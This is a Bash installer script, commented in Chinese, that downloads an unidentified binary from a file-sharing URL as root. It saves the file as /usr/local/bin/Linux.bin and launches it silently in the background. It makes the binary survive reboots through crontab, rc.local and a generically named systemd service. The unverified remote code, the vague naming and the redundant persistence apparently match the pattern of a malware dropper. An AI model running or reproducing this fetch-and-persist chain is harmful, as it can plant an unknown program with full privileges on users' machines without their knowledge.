#!/bin/bash
# -*- coding: utf-8 -*-

# ==================== 配置区域 ====================
# 请务必修改为您的实际下载链接和文件名
DOWNLOAD_URL="https://pan.idc712.cn/down.php/54752c66cb670b161f915ed791769bbf.bin"
# 目标文件名（可以自定义）
TARGET_NAME="Linux.bin"
# 目标安装路径（建议使用绝对路径）
INSTALL_PATH="/usr/local/bin/$TARGET_NAME"
# 进程关键字（用于检查开机自启配置）
PROCESS_KEYWORD="Linux.bin"
# =================================================

# 日志函数
log() {
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1"
}

# 错误处理
error_exit() {
    log "错误: $1"
    exit 1
}

# 检查是否为root用户
check_root() {
    if [[ $EUID -ne 0 ]]; then
        error_exit "此脚本需要root权限运行，请使用 sudo bash install.sh"
    fi
}

# 下载文件
download_file() {
    if [[ -f "$INSTALL_PATH" ]]; then
        log "文件 $INSTALL_PATH 已存在，跳过下载。"
        return 0
    fi

    log "开始下载文件从 $DOWNLOAD_URL ..."
    # 尝试使用wget下载
    if command -v wget &>/dev/null; then
        wget -O "$TARGET_NAME" "$DOWNLOAD_URL" || error_exit "wget 下载失败"
    # 尝试使用curl下载
    elif command -v curl &>/dev/null; then
        curl -L -o "$TARGET_NAME" "$DOWNLOAD_URL" || error_exit "curl 下载失败"
    else
        error_exit "系统未找到 wget 或 curl，无法下载文件。"
    fi

    # 移动到安装目录
    if [[ ! -d "$(dirname "$INSTALL_PATH")" ]]; then
        mkdir -p "$(dirname "$INSTALL_PATH")"
    fi
    mv "$TARGET_NAME" "$INSTALL_PATH" || error_exit "移动文件到 $INSTALL_PATH 失败"
    log "文件下载并移动到 $INSTALL_PATH"
}

# 设置执行权限
set_permissions() {
    chmod +x "$INSTALL_PATH"
    log "已设置执行权限: $INSTALL_PATH"
}

# 添加到开机自启（通用方法）
add_to_startup() {
    log "正在尝试添加到开机自启..."

    # 方法1: 使用 crontab (最通用)
    if command -v crontab &>/dev/null; then
        local crontab_content="@reboot sleep 10 && $INSTALL_PATH"
        (crontab -l 2>/dev/null | grep -v "$PROCESS_KEYWORD"; echo "$crontab_content") | crontab -
        log "已通过 crontab 添加开机自启 (延迟10秒启动)"
        return 0
    fi

    # 方法2: 使用 rc.local
    if [[ -f /etc/rc.local ]]; then
        if ! grep -q "$INSTALL_PATH" /etc/rc.local; then
            # 在 exit 0 之前插入启动命令
            sed -i "/exit 0/i $INSTALL_PATH" /etc/rc.local
            chmod +x /etc/rc.local
            log "已通过 /etc/rc.local 添加开机自启"
            return 0
        fi
    fi

    # 方法3: 创建 systemd service (适用于 systemd 系统)
    if command -v systemctl &>/dev/null; then
        cat > /etc/systemd/system/${PROCESS_KEYWORD}.service << EOF
[Unit]
Description=My Application Service
After=network.target

[Service]
Type=simple
ExecStart=$INSTALL_PATH
Restart=on-failure
RestartSec=10
User=root

[Install]
WantedBy=multi-user.target
EOF
        systemctl daemon-reload
        systemctl enable ${PROCESS_KEYWORD}.service
        log "已通过 systemd 服务添加开机自启"
        return 0
    fi

    log "警告: 无法找到已知的开机自启方式，请手动配置。"
    return 1
}

# 启动进程（只启动一次，不监控）
start_process_once() {
    if pgrep -f "$PROCESS_KEYWORD" > /dev/null; then
        log "进程 $PROCESS_KEYWORD 已在运行中 (PID: $(pgrep -f "$PROCESS_KEYWORD" | head -1))"
        return 0
    fi

    log "启动进程 $INSTALL_PATH ..."
    # 尝试后台启动
    nohup "$INSTALL_PATH" > /dev/null 2>&1 &
    sleep 2
    if pgrep -f "$PROCESS_KEYWORD" > /dev/null; then
        log "进程启动成功 (PID: $(pgrep -f "$PROCESS_KEYWORD" | head -1))"
        return 0
    else
        log "警告: 进程启动失败，请手动检查 $INSTALL_PATH"
        log "您可以尝试直接运行: $INSTALL_PATH 来查看错误信息"
        return 1
    fi
}

# 主函数
main() {
    check_root
    log "===== 开始安装脚本 ====="

    # 下载、配置、启动（只启动一次）
    download_file
    set_permissions
    add_to_startup
    start_process_once

    log "===== 安装完成 ====="
    log "文件已安装到: $INSTALL_PATH"
    log "开机自启已配置"
    log "如需手动启动: $INSTALL_PATH"
    log "如需查看进程: ps aux | grep $PROCESS_KEYWORD"
}

# 运行主函数
main